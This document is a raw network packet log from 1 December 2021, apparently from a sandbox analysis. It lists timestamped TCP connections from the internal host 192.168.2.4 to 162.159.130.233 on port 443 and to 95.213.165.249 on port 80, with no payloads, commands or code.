Dec 1, 2021 09:14:01.134221077 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134231091 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134243965 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134275913 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134283066 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134295940 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134319067 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134361029 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134367943 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134376049 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134418011 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.151700974 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151772976 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151797056 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151833057 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151832104 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.151864052 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151886940 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.151891947 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151926994 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.151931047 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151957989 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.151969910 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151987076 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.151990891 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152019978 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152055025 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152065992 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152079105 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152107000 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152110100 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152128935 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152158976 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152169943 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152183056 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152187109 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152198076 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152235031 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152240038 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152249098 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152270079 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152304888 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152304888 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152338028 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152338982 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152348995 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152381897 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152527094 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152561903 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152576923 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152591944 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152596951 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152638912 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152666092 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152673006 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152683020 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152712107 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152718067 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152744055 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152754068 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152770042 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152801037 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152811050 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152818918 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152827024 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.152868032 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.152896881 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.153258085 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153280020 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153331995 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.153338909 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153352022 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153379917 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.153390884 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153424978 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.153430939 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153455019 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.153485060 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153505087 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153541088 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.153551102 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.153584957 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.154107094 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154129982 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154181957 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.154195070 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154220104 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.154304981 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154325962 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154366970 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.154375076 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154407024 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.154475927 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154495001 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154541016 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.154550076 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.154577017 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.155024052 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.155046940 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.155111074 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.155121088 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.155141115 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.169236898 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.169261932 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.169325113 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.169348001 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.169363022 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.169775009 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.169799089 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.169859886 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.169873953 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.169965029 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.169985056 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.170027971 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.170034885 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.170080900 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.170183897 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.170203924 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.170242071 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.170273066 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.170280933 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.170304060 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.170314074 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.170360088 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.171009064 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.171025991 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:02.464790106 CET	49768	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.522950888 CET	80	49768	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:02.523081064 CET	49768	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.523145914 CET	49768	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.523216963 CET	49768	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.581090927 CET	80	49768	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:02.620583057 CET	80	49768	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:02.620748997 CET	49768	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.621002913 CET	49768	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.652158022 CET	49769	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.678469896 CET	80	49768	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:02.710154057 CET	80	49769	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:02.711133957 CET	49769	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.711354017 CET	49769	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.711363077 CET	49769	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.769382000 CET	80	49769	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:02.810172081 CET	80	49769	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:02.810269117 CET	49769	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.810910940 CET	49769	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:02.868840933 CET	80	49769	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.231656075 CET	49770	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.289249897 CET	80	49770	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.289438963 CET	49770	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.292432070 CET	49770	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.292480946 CET	49770	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.349822044 CET	80	49770	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.394383907 CET	80	49770	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.395687103 CET	49770	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.459127903 CET	49770	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.493737936 CET	49771	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.516587973 CET	80	49770	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.552381039 CET	80	49771	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.554208040 CET	49771	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.563349962 CET	49771	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.563394070 CET	49771	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.621074915 CET	80	49771	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.664793015 CET	80	49771	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.668433905 CET	49771	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.707077980 CET	49771	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.738363028 CET	49772	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.764621973 CET	80	49771	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.796148062 CET	80	49772	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.796319962 CET	49772	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.800296068 CET	49772	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.800347090 CET	49772	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:03.859870911 CET	80	49772	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.903609991 CET	80	49772	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:03.903776884 CET	49772	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.301424026 CET	49772	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.359162092 CET	80	49772	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.383414030 CET	49773	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.441209078 CET	80	49773	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.441325903 CET	49773	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.442909002 CET	49773	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.442936897 CET	49773	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.500535011 CET	80	49773	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.543385029 CET	80	49773	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.543519020 CET	49773	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.543997049 CET	49773	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.573218107 CET	49774	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.601557016 CET	80	49773	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.630825043 CET	80	49774	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.630927086 CET	49774	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.637927055 CET	49774	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.637963057 CET	49774	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:04.695854902 CET	80	49774	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.740947008 CET	80	49774	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:04.741115093 CET	49774	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:05.792628050 CET	49774	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:05.850411892 CET	80	49774	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:05.975060940 CET	49775	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.032182932 CET	80	49775	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.032283068 CET	49775	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.034493923 CET	49775	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.034523964 CET	49775	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.091552019 CET	80	49775	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.136996031 CET	80	49775	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.137088060 CET	49775	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.138154030 CET	49775	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.169711113 CET	49776	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.195158005 CET	80	49775	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.227327108 CET	80	49776	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.227461100 CET	49776	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.227667093 CET	49776	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.227684975 CET	49776	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.285223007 CET	80	49776	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.335937023 CET	80	49776	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.336019039 CET	49776	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.336182117 CET	49776	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.367177010 CET	49777	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.393683910 CET	80	49776	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.425538063 CET	80	49777	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.425617933 CET	49777	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.425805092 CET	49777	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.425822020 CET	49777	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.484177113 CET	80	49777	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.530718088 CET	80	49777	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.530802965 CET	49777	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.531006098 CET	49777	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.589164019 CET	80	49777	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.828859091 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.886073112 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.886187077 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.886311054 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.968278885 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968308926 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968326092 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968338013 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968359947 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968374968 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968386889 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968403101 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968415022 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.968419075 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968436003 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:06.968462944 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:06.968468904 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025645018 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025675058 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025691032 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025707960 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025724888 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025737047 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025748968 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025760889 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025773048 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025775909 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025784969 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025798082 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025810957 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025811911 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025816917 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025820017 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025825024 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025837898 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025840998 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025851965 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025865078 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025867939 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025876999 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025888920 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025902033 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025904894 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025913954 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.025938988 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.025954962 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083133936 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083159924 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083172083 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083188057 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083199024 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083214998 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083230972 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083246946 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083264112 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083271980 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083278894 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083295107 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083312988 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083312988 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083317995 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083329916 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083345890 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083359957 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083362103 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083378077 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083381891 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083389997 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083406925 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083415985 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083421946 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083440065 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083445072 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083456993 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083473921 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083482027 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083491087 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083506107 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083513975 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083523035 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083539009 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083554983 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083564043 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083571911 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083589077 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083587885 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083606005 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083610058 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083622932 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083637953 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083646059 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083653927 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083668947 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083677053 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083684921 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083702087 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083715916 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083717108 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083733082 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083744049 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083749056 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083765030 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.083774090 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.083802938 CET	49778	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:07.140991926 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141016006 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141027927 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141046047 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141058922 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141077042 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141093969 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141109943 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141125917 CET	80	49778	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:07.141146898 CET	80	49778	95.213.165.249	192.168.2.4
